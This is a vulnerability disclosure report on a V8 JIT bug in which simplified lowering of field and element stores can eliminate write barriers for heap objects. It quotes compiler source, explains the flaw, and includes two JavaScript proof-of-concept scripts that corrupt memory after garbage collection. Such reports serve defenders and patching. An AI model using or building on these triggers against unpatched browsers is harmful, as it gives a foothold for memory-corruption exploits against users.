Chrome V8 JIT Optmization Bug

Chrome: V8: JIT: Simplified-lowererer IrOpcode::kStoreField, IrOpcode::kStoreElement optimization bug 




I think this commit has introduced the bugs: <a href="https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/#F0" title="" class="" rel="nofollow">https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/#F0</a>

Here's a snippet.
  case IrOpcode::kStoreField: {
    FieldAccess access = FieldAccessOf(node->op());
    Node* value_node = node->InputAt(1);
    NodeInfo* input_info = GetInfo(value_node);
    MachineRepresentation field_representation =
        access.machine_type.representation();

    // Make sure we convert to Smi if possible. This should help write
    // barrier elimination.
    if (field_representation == MachineRepresentation::kTagged &&
        TypeOf(value_node)->Is(Type::SignedSmall())) {
      field_representation = MachineRepresentation::kTaggedSigned;
    }
    WriteBarrierKind write_barrier_kind = WriteBarrierKindFor(
        access.base_is_tagged, field_representation, access.offset,
        access.type, input_info->representation(), value_node);

    ProcessInput(node, 0, UseInfoForBasePointer(access));
    ProcessInput(node, 1,
                 TruncatingUseInfoFromRepresentation(field_representation));
    ProcessRemainingInputs(node, 2);
    SetOutput(node, MachineRepresentation::kNone);
    if (lower()) {
      if (write_barrier_kind < access.write_barrier_kind) {
        access.write_barrier_kind = write_barrier_kind;
        NodeProperties::ChangeOp(
            node, jsgraph_->simplified()->StoreField(access));
      }
    }
    return;
  }

Since Smi stores can be performed without write barriers, if it's possible to convert to Smi, it tries to help write barrier elimination by changing field_representation to MachineRepresentation::kTaggedSigned as noted in the comment. But whether or not field_representation has changed, it uses TruncatingUseInfoFromRepresentation to process the value node.

But TruncatingUseInfoFromRepresentation(kTaggedSigned) returns UseInfo::AnyTagged() which is also compatible with kTaggedPointer. So even in the case where input_info->representation() is kTaggedPointer and the value is a heap object, it may eliminate the write barrier.

Note: It's the same when handling kStoreElement.

PoC 1 using kStoreField.
var a, b;  // should be var
for (var i = 0; i < 100000; i++) {
    b = 1;
    a = i + -0;  // -0 is a number, so this will make "a" a heap object.
    b = a;
}

print(a === b);  // true
gc();
print(a === b);  // false
print(b);

PoC 2 using kStoreElement.
let arr = [{}];
var v;  // should be var
for (var i = 0; i < 700000; i++) {
    arr[0] = 1;
    v = i + -0;
    arr[0] = v;
}

print(arr[0] === v)  // true
gc();
print(arr[0] === v)  // false
print(arr[0]);


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt